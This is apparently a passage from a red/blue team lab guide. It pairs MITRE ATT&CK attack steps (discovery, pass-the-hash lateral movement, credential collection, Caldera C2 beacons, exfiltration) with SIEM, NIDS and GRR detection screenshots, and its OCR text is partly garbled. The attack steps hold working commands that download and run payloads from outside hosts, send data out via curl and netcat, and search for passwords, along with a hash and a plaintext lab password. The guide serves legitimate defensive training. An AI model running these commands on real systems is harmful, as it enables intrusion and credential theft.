t data.win.system.process	> Se	ep 14, 2020 @ 18:01:32.305	<pre>{ "input": { "type": "log" }, "agent": { "ip": "10.10.10.5", "name": "EMPLOYEE-RW1", "id": "002" }, "manager": "data": { "win": { "eventdata": { "originalFileName": "net1.exe". "image": "C:\\\\Windows\\\\Svstem32\\\\net1.exe".</pre>	{ "name xe". "c	": "w produc	azuhma t": "M	nager licros	"}, oft©
t data.win.system.provide			Windowse Operating System", "parentProcessGuid": "{bb9c045a-629b-5f5f-ff12-000000001200}", "description": "Net	Command	1", "1 .00000	ogonGu	uid":	"{bb
t input.type			onId": "0xe2d628a", "parentProcessId": "7508", "processId": "2684", "currentDirectory": "C:\\\Windows\\\syste	m32\\\\	", "u	tcTime	e": "2	020-
_id			01, IMPHASH=D115CDECBD7EB553182EAD3D45F5816C", "parentImage": "C:\\\\Windows\\\\System32\\\\net.exe", "company":	"Micro	soft	Corpor	ation	40EE ",
_index	> Se	ep 14, 2020 @ 18:01:32.304	{ "input": { "type": "log" }, "agent": { "ip": "10.10.10.5", "name": "EMPLOYEE-RW1", "id": "002" }, "manager":	{ "name	:": "w	azuhma	nager	" },
() _score			<pre>"data": { "win": { "eventdata": { "originalFileName": "net.exe", "image": "C:\\\\Windows\\\\System32\\\\net.exe indows@ Operating System", "parentProcessGuid": "{bb9c045a-626b-5f5f-fd12-000000001200}", "description": "Net C</pre>	", "pro ommand"	duct"	: "Mic aonGui	rosof d": "	t® W {bb9
_type			c045a-626b-5f5f-8a62-2d0e000000000}", "parentCommandLine": "\\\"cmd.exe\\\"", "processGuid": "{bb9c045a-629b-5f5	f-ff12-	00000	000120	00}",	"log
data.aws.createdAt			-09-14 12:31:23.578", "hashes": "MD5=A63DF9A6E9098CC189F2A3EFC37600F6,SHA256=96CDFD7B263947A6A7C0DB54141A6B8D77	77DB0A0	3A17C	BF9566	6D984	22F9
🛅 data.aws.end	-		37B,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07", "parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "company"	: "Micr	osoft	Corpo	ratio	n",

### 7. DISCOVERY

7.2 Discovery Linux [Network Service Scanning - T1046]

7.2.A Attack: -

Internal Network Service Discovery:

```
nmap -sC 10.10.10.0/24 --top-ports 5
```

### Discover initiated Network Connection using Network Traffic Monitor Active Defence – DTE0036 (Software Manipulation) – DTE 0012 (Decoy System)





Attacker C2 Server

@cyberwarfare.live

# 8. LATERAL MOVEMENT

### 8.1 Lateral Movement Windows [Use Alternate Authentication Material - T1550.002]

8.1.A Attack: -

Use Alternate Authentication Material

1.1) Download Lateral Movement Script from Payload-Server:

iwr -usebasicparsing <u>http://192.168.250.100/Invoke-WMIExec.ps1</u> -OutFile Invoke-WMIExec.ps1

1.2) Execute Lateral Movement Attack on Domain Controller using Pass-the-Hash (PTH):

Invoke-WMIExec -Target 10.10.10.2 -Domain cyberwarfare -Username administrator -Hash 03D1BBD771D9D72827199B9F815635AB -Command "notepad.exe" -verbose

• Detection: -

Detecting Lateral Movement Attack using Advance Threat Analytics [ATA] Active Defence – DTE0007 (Behavioural Analytics)



## 8. LATERAL MOVEMENT

8.2 Lateral Movement Linux [Remote Services - T1021.004]

8.2.A Attack: -

Access Remote machine by abusing Remote Services (SSH): -

ssh -D 9999 emp1@CYBERWARFARE.CORP@10.10.10.3

Pass: Serious@963

### Detecting SSH Connection using Network Monitoring Active Defence – DTE0027 (Network Monitoring)

$\leftarrow \rightarrow$	C A Not see	cure   172.16.1.1	15:8005/sessions?grapl	nType=lpHisto&	seriesType=bars&expre	ession=ip.src%2	0%3D%3D%20%	62010.10.10.6%20%2	26%26%20ip.dst	%20%3D%3D%2010.10.10.3	☆	0	8 🚳	*	<b>m</b> :
X	Sessions SPIVie	w SPIGraph	Connections H	unt Files St	tats History Settir	ngs								v2.2.3	0
Q ip.	src == 10.10.10.6 &	& ip.dst == 10.1	0.10.3									×	Sear	ch 🖉	
O La	st hour Star	2020/09/14 1	7:11:12	End 2020	)/09/14 18:11:12	H H Bo	unding Last Pa	acket	/al Auto	01:00:00					
50 per p	page <mark>ke ve</mark> 1	Showi	ing 1 - 20 of 20 entries												
	Start Time	≑ Stop Time	Src IP / Country	<mark>≑ Src Port</mark>	Dst IP / Country	Dst Port	Packets	Databytes / Bytes	Moloch Node	Info					
+ tcp	2020/09/14 17:29:03	2020/09/14 17:29:03	10.10.10.6	50044	10.10.10.3	22	18	2,308 3,512	NetworkMonito	r					
tcp	2020/09/14 17:29:03	2020/09/14 17:29:03	10.10.10.6	50040	10.10.10.3	22	15	1,612 2,618	NetworkMonito	r					
+ tcp	2020/09/14 17:29:02	2020/09/14 17:29:03	10.10.10.6	50036	10.10.10.3	22	15	1,612 2,618	NetworkMonito	r					
+ tcp	2020/09/14 17:29:02	2020/09/14 17:29:02	10.10.10.6	50028	10.10.10.3	22	18	2,388 3,592	NetworkMonito	r					
+ tcp	2020/09/14 17:29:02	2020/09/14 17:29:02	10.10.10.6	500 <mark>14</mark>	10.10.10.3	22	18	2,724 3,928	NetworkMonito	r					
+ tcp	2020/09/14 17:29:01	2020/09/14 17:29:03	10.10.10.6	50004	10.10.10.3	22	15	1,604 2,610	NetworkMonito	r					
+ tcp	2020/09/14 17:29:01	2020/09/14 17:29:01	10.10.10.6	49986	10.10.10.3	22	13	100 974	NetworkMonito	r					



Attacker C2 Server

@cyberwarfare.live

## 9. DATA COLLECTION

9.1 Data Collection Windows [Data from Local System - T1005]

9.1.A Execution: -

Collecting password from registry: -

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

Detecting registry query using Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – DTE0030 – Pocket Litter



# 9. DATA COLLECTION

### 9.2 Data Collection Linux [Data from Local System - T1005]

9.2.A Attack: -

Data from Local System-

```
find / -maxdepth 4 -name '*.conf' -type f -exec grep -Hn
'pass\|password\|login\|username\|email\|mail\|host\|ip' {} \; 2>/dev/null
```

#### Detecting discovery of sensitive files using Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – DTE0030 – Pocket Litter

$\leftrightarrow \rightarrow C$ A Not secure   172.1	16.1.13/aj	pp/kibana#/discover?_g=(filter	rs:!(),refreshInterval:(pause:!t,value:0),time:(from:now-15m,to:nov	w))&_	_a=(columns:!(_source),filters:!(('\$state':(store:appState),m	iet 🛠 🕐	୫ 🐔	* 4	m
😑 😵 🖸 Discover								٩	
New Save Open Share Inspec	ct								
🖫 🗸 find			KG	٦C	iii → Last 15 minutes	Show dates	C	ី Refr	resh
(=) − agent.ip: 10.10.10.6 × + Add filte	ter								
wazuh-archives-3.x-* ✓ Q Search field names	0		<b>2,1</b> Sep 15, 2020 @ 00:00:34.050 - Sep 15, 2	<b>92</b> h 2020	nits D @ 00:15:34.050 — Auto ~				
<ul> <li>Filter by type</li> <li>Selected fields</li> <li>_source</li> <li>Available fields</li> <li>Popular         <ul> <li>t agent.id</li> <li>t agent.ip</li> <li>t b t time</li> </ul> </li> </ul>	Count	1000 800 600 400 200 0 23:59:00 00:00:00	00:01:00 00:02:00 00:03:00 00:04:00 00:05:00 00:06:00 timestar _source	00:0 mp pe	07:00 00:08:00 00:09:00 00:10:00 00:11:00 00:12:00 er 30 seconds	0 00:13:00 00	:14:00	00:15:00	5
t location t _id t _index # _score t _type	> s	Sep 15, 2020 @ 00:15:02.503	<sup>3</sup> agent.ip: 10.10.10.6 data.audit.command: find full success=no exit=-13 a0=8 a1=560b89336e38 a2=30900 a3 euid=1489401118 suid=1489401118 fsuid=1489401118 egi exe="/usr/bin/find" key="auditlog" type=PATH msg=aud ouid=0 ogid=4 rdev=00:00 nametype=NORMAL cap_fp=0 ca	log }=0 i id=14 dit(1 ap_fi	: type=SYSCALL msg=audit(1600109098.785:60425): a .tems=1 ppid=75988 pid=76210 auid=1489401118 uid=1 489400513 sgid=1489400513 fsgid=1489400513 tty=pts 1600109098.785:60425): item=0 name="audit" inode=2 i=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PR0CTIT	rch=c000003e sy 489401118 gid=1 0 ses=548 comm= .370912 dev=08:0 LE	scall=2 4894005 " <mark>find</mark> " 1 mode=	:57 i13 :040750	ĵ
<ul> <li>t agent.name</li> <li>t data.audit.arch</li> <li>t data.audit.auid</li> <li>t data.audit.command</li> <li>t data.audit.directory.inode</li> </ul>	> 5	Sep 15, 2020 @ 00:15:02.498	8 agent.ip: 10.10.10.6 data.audit.command: find full success=no exit=-2 a0=7ffd93052ba0 a1=560b89333780 a uid=1489401118 gid=1489400513 euid=1489401118 suid=1 ses=548 comm="find" exe="/usr/bin/find" key=(null) t cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0	_log 12=7f 14894 type= type	: type=SYSCALL msg=audit(1600109098.781:60423): a 'fd930530b0 a3=7f74f1e59340 items=1 ppid=76210 pid 401118 fsuid=1489401118 egid=1489400513 sgid=14894 PATH msg=audit(1600109098.781:60423): item=0 name a=PROCTITLE msg=audit(1600109098.781:60423):	rch=c000003e sy =76647 auid=148 00513 fsgid=148 ="/sbin/grep" n	scall=5 9401118 9400513 ametype	i9 ↓ ↓ tty=p ⊧=UNKNO	ts0 JWN



@cyberwarfare.live

## 10. COMMAND AND CONTROL

10.1 Command & Control Windows [Application Layer Protocol - T1071.001] 10.1.A Attack: -

Caldera C2 server Network Communication:

```
$server="http://192.168.250.12:8888";$url="$server/file/download";$wc=New-Object
System.Net.WebClient;$wc.Headers.add("platform","windows");$wc.Headers.add("file","sandcat
.go");$data=$wc.DownloadData($url);$name=$wc.ResponseHeaders["Content-
Disposition"].Substring($wc.ResponseHeaders["Content-
Disposition"].IndexOf("filename=")+9).Replace("`"","");get-process | ?
{$_.modules.filename -like "C:\Users\Public\$name.exe"} | stop-process -f;rm -force
"C:\Users\Public\$name.exe" -ea
ignore;[io.file]::WriteAllBytes("C:\Users\Public\$name.exe",$data) | Out-Null;Start-
Process -FilePath C:\Users\Public\$name.exe -ArgumentList "-server $server -group red" -
WindowStyle hidden;
```

#### Detecting C2 beacon execution using Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – DTE0027 – Network Monitoring

$\leftrightarrow$ $\rightarrow$ <b>C</b> $\blacktriangle$ Not secure   172.1	1 <mark>6.1.1</mark> 3/a	app/kibar	na#/discover?_g=	(filters:!(),refr	reshInterval	:(pause:!t,va	lue:0),time:(	from:now-15r	n,to:now))8	∟a=(colu	mns:!(_source)	,filters:!(('\$sta	te':(store:app	State),met	. 🖈 🕻	8	8	* 💿
😑 😵 🖸 Discover																	(	
New Save Open Share Inspec	t																	
ⓑ ✓ Search									KQL		Last 15 minu	utes			Show date	es	C F	Refresh
(=) - agent.ip: 10.10.10.5 × + Add filt	<u>er</u>																	
wazuh-archives-3.x-* $\checkmark$	0								<b>395</b>	nits								
Q Search field names						Sep 14, 2	020 @ 18:3	9:07.570 - Se	ep 14, 202	0 @ 18:5	4:07.570 —	Auto	$\checkmark$					
<ul> <li>Filter by type</li> </ul>		300 250																
Selected fields	ţ	200																
(d) _source	Col	150														_		
Available fields		50																
Popular		0																
t agent.id			18:40:00	18:41:00	18:42:00	18:43:00	18:44:00	18:45:00	18:46:00	18:47:00	) 18:48:00	18:49:00	18:50:00	18:51:00	18:52:00	18:53	:00	
t agent.ip		-							imestamp p	iei 30 sec	onus							
t data.win.system.channel		Time 🚽		_sou	irce													
t location	>	Sep 14,	2020 @ 18:53:2	1.412 age	nt.ip: <mark>10.</mark>	10.10.5 i	nput.type:	log agent.r	ame: EMPL	OYEE-RW1	agent.id: 0	002 manager	.name: wazuł	hmanager				
t _id				data	a.win.even	tdata.dest	inationPor	t: 8888 data	a.win.even	tdata.im	age: C:\\Use	rs\\Public\	\splunkd.exe	e data.win	n.eventdata	.source	ePort:	56314
t index				data	a.win.even	tdata.init	iated: tru	e data.win.	eventdata.	destinat	ionIp: 192.1	68.250.12 c	lata.win.eve	entdata.pro	otocol: tcp	č.		
				data	a.win.even	tdata.proc	essGuid: {	bb9c045a-6eb	c-5f5f-12	13-00000	0001200} dat	a.win.event	data.source]	Ip: 10.10.	10.5		<b>T</b> :	0000
# _SCULE				data	a.win.even	tdata.proc	essid: 946	8 data.win.	eventdata.	sourceHo	stname: EMPL	UYEE-RW1.Cy	berwartare.	corp data.	.win.eventd	ata.uto	:Ilme:	2020-

### 10. COMMAND AND CONTROL

### 10.2 Command & Control Linux [Application Layer Protocol - T1071.001]

10.2.A Attack: -

Caldera C2 server Network Communication:

server="http://192.168.250.12:8888";curl -s -X POST -H "file:sandcat.go" -H
"platform:linux" \$server/file/download > sandcat.go;chmod +x sandcat.go;./sandcat.go server \$server -group red -v

Detect C2 beacon communication using Network Traffic Monitor Active Defence – DTE0027 – Network Monitoring

$\leftarrow \   \rightarrow $	C 🔺 Not see	cure   172.16.1.	15:8005/sessions?grapl	nType=lpHisto8	seriesType=bars&expre	ession=ip.src%2	0%3D%3D%20%2	2010.10.10.6%20%2	5%26%20ip.dst	%20%3D	%3D%20192.168.250.12 🕱 🛛	0 (	8 🚳	) * 💿
🕌 Se	ssions SPIVie	ew SPIGraph	n Connections Hu	unt Files S	tats History Settir	ngs								v2.2.3 🚺
Q ip.sr	c == 10.10.10.6	&& ip.dst == 192	.168.250.12									×	Sear	rch 💿 🔽
O Last	hour Star	t 2020/09/14 1	8:05:49	End 2020	)/09/14 19:05:49	H H Bo	unding Last Pa	cket Interva	al Auto	01:00:00				
50 per pag	e < 🛛 1	Show	ing 1 - 8 of 8 entries											
		Stop Time	Src IP / Country	≎ Src Port	Dst IP / Country	≎ Dst Port	Packets	Databytes / Bytes	Moloch Node	Info				
+ tcp	2020/09/14 18:55:55	2020/09/14 18:55:55	10.10.10.6	59930	192.168.250.12	8888	24	1,020 3,656	NetworkMonito	r URI▼	192.168.250.12:8888/beacon			
+ tcp	2020/09/14 18:55:55	2020/09/14 18:55:55	10.10.10.6	59928	192.168.250.12	8888	9,919	5,960,037 12,582,600	NetworkMonito	r URI •	192.168.250.12:8888/file/download			
+ tcp	2020/09/14 18:55:32	2020/09/14 18:55:32	10.10.10.6	59926	192.168.250.12	8888	24	1,020 3,656	NetworkMonito	URI -	192.168.250.12:8888/beacon			
+ tcp	2020/09/14 18:55:32	2020/09/14 18:55:32	10.10.10.6	59924	192.168.250.12	8888	10,000	5,717,061 11,949,010	NetworkMonito	I URI -	192.168.250.12:8888/file/download			
+ tcp	2020/09/14 18:55:32	2020/09/14 18:55:32	10.10.10.6	59924	192.168.250.12	8888	632	242,976 694,184	NetworkMonito	r				
+ tcp	2020/09/14 18:55:24	2020/09/14 18:55:24	10.10.10.6	59922	192.168.250.12	8888	24	1,020 3,656	NetworkMonito	URI 🕶	192.168.250.12:8888/beacon			
+ tcp	2020/09/14 18:55:23	2020/09/14 18:55:24	10.10.10.6	59920	192.168.250.12	8888	10,000	5,689,549 11,910,322	NetworkMonito	URI •	192.168.250.12:8888/file/download			
+ tcp	2020/09/14 18:55:23	2020/09/14 18:55:24	10.10.10.6	59920	192.168.250.12	8888	809	270,488 760,890	NetworkMonito	r				

#### Detect External Network communication using Network based Attack monitoring [SPLUNK+ SURICATA (NIDS)]

	1.000	angeonations.				2					1010100000	111	11.1014	13 X4			
$\leftrightarrow$ $\rightarrow$ C $\blacktriangle$ Not secure	e   172.16.1	.12:8000	)/en-US/app/searc	h/search?q=search%2010	1.10.10.6&disp	play.page.se	earch.mode=s	smart&dispatc	h.sample_ratio	=1&earliest	=-24h%40h	&latest=n	ow&sid=	1 ☆	0	88	*
splunk>enterprise Ap	op: Search &	Reporti	ng 🔻						analyst1	<ul> <li>Messa</li> </ul>	ges 🔻 S	ettings 🔻	Activi	ty <b>▼</b> ⊦	lelp ▼	Find	Q
Search Analytics Dat	tasets R	eports	Alerts Das	shboards											>	Search & I	Reporting
New Search															S	ave As 🔻	Close
10.10.10.6															Lasi	t 24 hours	- Q
√ 142 events (9/13/20 6:30:00	.000 PM to 9	9/14/20 7	7:20:16.000 PM)	No Event Sampling 🔻							Joł	• II		→ <b>6</b>	$\star$	• Smart	t Mode 🔻
Events (142) Patterns	Statistics	Visua	lization														
Format Timeline - Zo	om Out	+ Zoon	to Selection	× Deselect												1 hou	r per column
		List	✓ Format	20 Per Page ▼							< Prev	1 2	3	4 5	6	7 8	Next >
<pre><math>&lt;</math> Hide Fields <math>:= A</math> SELECTED FIELDS a host 1 a source 1</pre>	All Fields	>	9/14/20 6:55:54.000 PM	Event           Sep 14 18:55:54 172.1           col Command Decode] [           host = 172.16.1.1	16.1.1 Sep 14 [Priority: 3] ce=udp:514	4 13:25:54 ] {TCP} <mark>10</mark> sourcety	4 suricata[40 0.10.10.6:599 ype = *	9547]: [1:221 928 -> 192.16	0044:2] SURI 8.250.12:888	CATA STREAM B	Packet wit	h invalic	l timest	amp [Cla	ssifica	ition: Gen	eric Prot
a sourcetype 1 INTERESTING FIELDS # date_bour_18		>	9/14/20 6:55:54.000 PM	Sep 14 18:55:54 172.1 col Command Decode] [ host = 172.16.1.1 source	16.1.1 Sep 14 [Priority: 3] ce = udp:514	4 13:25:54 ] {TCP} <mark>10</mark> sourcety	4	9547]: [1:221 928 -> 192.16	0044:2] SURI 8.250.12:888	CATA STREAM B	Packet wit	h invalio	l timest	amp [Cla	ssifica	ation: Gen	eric Prot
# date_mday 2 # date_minute 15 a date_month 1 # date_corond 25		>	9/14/20 6:55:54.000 PM	Sep 14 18:55:54 172.1 col Command Decode] [ host = 172.16.1.1 source	16.1.1 Sep 14 [Priority: 3] ce=udp:514	4 13:25:54 ] {TCP} <mark>10</mark> sourcety	4	9547]: [1:221 928 -> 192.16	0044:2] SURI 8.250.12:888	CATA STREAM 8	Packet wit	h invalic	timest	amp [Cla	ssifica	ition: Gen	eric Prot
<pre># date_second 25 a date_wday 2 # date_year 1 a date_zone 1</pre>		>	9/14/20 6:55:54.000 PM	Sep 14 18:55:54 172.1 col Command Decode] [ host = 172.16.1.1 source	16.1.1 Sep 14 [Priority: 3] ce=udp:514	4 13:25:54 ] {TCP} <mark>10</mark> sourcety	4	9547]: [1:221 928 -> 192.16	0044:2] SURI 8.250.12:888	CATA STREAM 8	Packet wit	h invalio	l timest	amp [Cla	ssifica	ation: Gen	eric Prot



106

## 11. DATA EXFILTRATION

### 11.1 Data Exfiltration Windows [Automated Exfiltration - T1020] 11.1.A Attack: -

#### Automated Exfiltration: -

Step 1: On the Attacker machine, start listening using 'netcat'

nc64.exe -nlvp 4445

Step 2: On Victim Machine

```
Step 3: POST request from Victim Machine:
```

Invoke-WebRequest -Uri <a href="http://192.168.150.4">http://192.168.150.4</a> -Method POST -Body \$encryptedData

#### Active Defence - DTE0028 (PCAP Collection)

DTE0031 (Protocol Decoder)

Detecting exfiltrated data using packet Analysis [Network Monitor]

$\leftarrow \   \rightarrow$	C 🔺	Not secu	ure   172.16.1.15:800	5/sessions?grap	hType=lpHisto	%seriesType=bars&ex	pression=ip.	dst%20%3D%	63D%20192.168.150.4	4			☆ Օ	8 🚳 🖈	<b>m</b> :
🕌 Se	ssions	SPIViev	w SPIGraph Co	onnections H	unt Files	Stats History Se	ttings							v2.2.3	<b>()</b>
Q ip.ds	t == 192.1	68.150.4	1										×	Search	
O Last	hour	Start	2020/09/14 18:34:0	01	End 20	20/09/14 19:34:01	H H	Bounding	Last Packet	Interval	Auto 01:00:00				×
50 per pag	e	1	Showing 1 -	1 of 1 entries											_
	TCP FI	ags ▼	SYN 1 SYN-ACK	1 ACK 5	PSH 2 RS	T0 FIN2 URG	0								
HTTP	ITTP														
	Met	hod 🕶	POST												
	Н	osts -	192.168.150.4												
	User Age	ents -	Mozilla/5.0 (Windows N	NT; Windows NT 1	0.0; en-IN) Win	dowsPowerShell/5.1.183	62.752								
Re	quest Head	ders 👻	connection content-le	ngth content-typ	e host user-a	igent									
	Client Versi	ons 🕶	1.1												
	Body M	D5s -	7edd3b3ec9bba655179	94953f86ff5f2a											
libfi	le content t	type 👻	text/plain												
conte	nt-type Hea	ader 🕶	application/x-www-form	n-urlencoded											
Packets	200	natural	ascii utf8 hex	Src Dst	Show Packets	E Line Numbers	🕒 Uncom	press 🗈 S	Show Image & Files	Show I	nfo UnXOR Brute	GZip Header UnXOF	R Unbase64	CyberChef -	
Source	e							De	stination						
POST / HTT User-Agent: Content-Typ Host: 192.10 Content-Ler Connection:	FP/1.1 Mozilla/5.0 be: applicati 68.150.4 ngth: 13 Keep-Alive	) (Windov ion/x-wwv	ws NT; Windows NT 10 w-form-urlencoded	.0; en-IN) Windov	vsPowerShell/5	1.18362.752									
SensitiveDa		in advance!						N							
Packets	200	natural	ascii utt8 hex	Show Packet	s j Ine N	umbers I I Uncomp	oress B S	show Image 8	Tiles Show Ir		R Brute GZip Header	UNXOR Unbase64	CyberChef		
## 11. DATA EXFILTRATION

#### 11.2 Data Exfiltration Linux [Exfiltration Over Alternative Protocol - T1048]

11.2.B Attack: -

Exfiltration over Alternative Protocol (HTTP): -

curl -d 'data=sensitivedata' <u>http://192.168.250.12:8888/data</u>

#### 11.2.B Detection: -

```
Active Defence - DTE0026 ( Network Manipulation )
Detecting exfiltrated data C2 IP address using SPLUNK + SURICATA [NIDS]
```

$\leftrightarrow$ $\rightarrow$ <b>C</b> A Not secure   172.16.	1.12:8000/en-US/app/searc	h/search?q=search%2010.10.10.6&display.page.search.mode=smart&dispatch.sample_ratio=18	kearliest=-24h%40	)h&latest=no	w&sid=1	☆ 0	88	🗯 👩 🗄
splunk>enterprise App: Search a	& Reporting •	analyst1 🗸	Messages 🔻	Settings 🕶	Activity 🔻	Help 🔻	Find	Q
Search Analytics Datasets	Reports Alerts Das	shboards				>	Search & I	Reporting
New Search						5	Save As 🔻	Close
10.10.10.6						La	st 24 hours v	Q
✓ 142 events (9/13/20 7:30:00.000 PM to	9/14/20 7:38:28.000 PM)	No Event Sampling	J	Job ▼ II	■ <i>∂</i> 8	¥	• Smart	Mode 🔻
Events (142) Patterns Statistics	Visualization							
Format Timeline  - Zoom Out	+ Zoom to Selection	× Deselect					1 hou	r per column
				aa	<u></u>			
	List 🔹 🖌 Format	20 Per Page ▼	< Prev	v <b>1</b> 2	3 4	56	7 8	Next >
K Hide Fields ∷≣ All Fields	i Time	Event						
SELECTED FIELDS a host 1 a source 1	> 9/14/20 6:55:54.000 PM	Sep 14 18:55:54 172.16.1.1 Sep 14 13:25:54 suricata[40547]: [1:2210044:2] SURICATA         col Command Decode] [Priority: 3] {TCP} 10.10.10.6:59928 -> 192.168.250.12:8888         host = 172.16.1.1       source = udp:514         sourcetype = *	STREAM Packet w	vith invalid	timestamp [	Classific	ation: Gene	eric Proto

## **DIGITAL FORENSICS & INCIDENT RESPONSE**

1. Perform Threat Hunting on compromised machine. (Process/Network Monitor etc) using Google Rapid Response [GRR]

User: ar						202	0-09-14 16	5:19:39 UTC	Search Box	٩	0	0	٢		
MANAGEMENT Cron Jobs	4		• D 8	•											
Hunts	Status	Hunt ID	Creation time	Start Time	Duration	Expiration time	Client Limit	Creator	Description						-
Statistics CONFIGURATION	$\odot$	6E9EA9D5	2020-09-14 13:56:53 UTC	2020-09-14 13:57:24 UTC	2w	2020-09-28 13:57:24 UTC	100	analyst1	Network-Conne	ection					
Binaries Settings			Pid	1068		- 									•
Artifacts			Name	svchost.exe	ant ave										
			Cmdline	C:\Windows\System32\svch -k netsvcs	iost.exe										
	Ctime         1596823281837517           Username         NT AUTHORITY\SYSTEM														
			Status Nice	running 32											
			Cwd Num threads	C:\Windows\system32 40											
			User cpu time System cpu time	262.078125 181.25											
			Rss size Vms size	80596992 46772224											
			Memory percent	0.9494587182998657 Family INE	r										
				Local address Ip	K_STREAD	10.10.10.4									
				Remote address Ip		52.230.222.68 443									
				State EST	ABLISHED	110									
				Family INE											
				Local address	νκ_dgraΝ	127.0.0.1									

## **DIGITAL FORENSICS & INCIDENT RESPONSE**

#### 2. Collecting Forensics evidence from compromised machine (Malicious Binary, C2 Beacon etc) by Google Rapid Response [GRR]

	vst1				2020-09-14 13-54-42 UT	C Search Box	0 0	6	
EMPLOYEE-	fs		<b>R - -</b>	Filter Items	T	1	? i≣ File list ອັ⊤	Fimeline	
Status: 🔵 6 minutes ago		fs > os >	C: > Users > F	ublic					
👗 Internal IP address.	Recycle.Bin	Mus	ic	0	2019-03-19 04:52:52 UTC	2019-03-19 04:52:44 UTC	2020-09-09 19:17:24 U	JTC	
lost Information	20200819	Picte	ures	0	2019-03-19 04:52:52 UTC	2019-03-19 04:52:44 UTC	2020-09-09 19:17:24 U	ЛС	
Start new flows	20200821	Sysi	mon	0	2020-08-18 19:23:23 UTC	2020-08-18 19:17:36 UTC	2020-09-09 19:17:24 U	JTC	
Frowse Virtual Filesystem	20200903	Sysi	mon.zip	1811220	2020-08-18 19:16:54 UTC	2020-08-18 19:16:54 UTC	2020-09-09 19:17:24 U	JTC	
Advanced -	💭 Documents and Settings	Vide	905	0	2019-03-19 04:52:52 UTC	2019-03-19 04:52:44 UTC	2020-09-09 19:17:24 U	лтс	
MANAGEMENT	PerfLogs	desi	ktop ini	174	2019-03-19 04:49:35 UTC	2019-03-19 04:49:35 UTC	2020-09-09 19 17 24 U	JTC	
Cron Jobs	Program Files	mim	ikatz eve	1030408	2020-09-09 18:58:02 LITC	2020-09-09 18:58:01 UTC	2020-09-09 19:17:24 []	ITC	
lunts	Program Files (x86)		nkd ovo	5402624	2020-03-03 10:30:02 010	2020-09-09 10:30:01 010	2020-03-03 13:17:24 0	ITC	
CONFIGURATION	- I Recovery	spid	IIKU.EXE	3402024	2020-09-06 19.31.30 010	2020-06-10 12.39.30 010	2020-09-09 19.17.24 0		
Binaries	Sysmon								
Settings	System Volume Information	fs > os >	C: > Users						
Artifacts	A 🛺 Users	Publ	IC				HEAD	~	
	Administrator	Stats	Download Te	vt\/iew Hex\	ïew				
	All Users		Dominoud						
	Default	Attribute	Value				Age		
	Default User	AFF4Object							
		+ TYPE	VFSFile				2020-09-09 19:1	17:24 UTC	
	Desktop	AFF4Stream							
	Documents	HASH							
	Downloads	SIZE							
		_			VFSFile				

#### THANK YOU

# In case of any difficulties or queries, feel free to mail us at <a href="mailto:support@cyberwarfare.live">support@cyberwarfare.live</a>

- Follow us on :
  - LinkedIn: <a href="https://www.linkedin.com/company/cyberwarfare/">https://www.linkedin.com/company/cyberwarfare/</a>
  - Twitter: <a href="https://twitter.com/cyberwarfarelab">https://twitter.com/cyberwarfarelab</a>

- For More Information Visit :
  - Red / Blue Team Lab : <u>https://cyberwarfare.live</u>
  - Red / Blue Team Blog: <u>https://blog.cyberwarfare.live</u>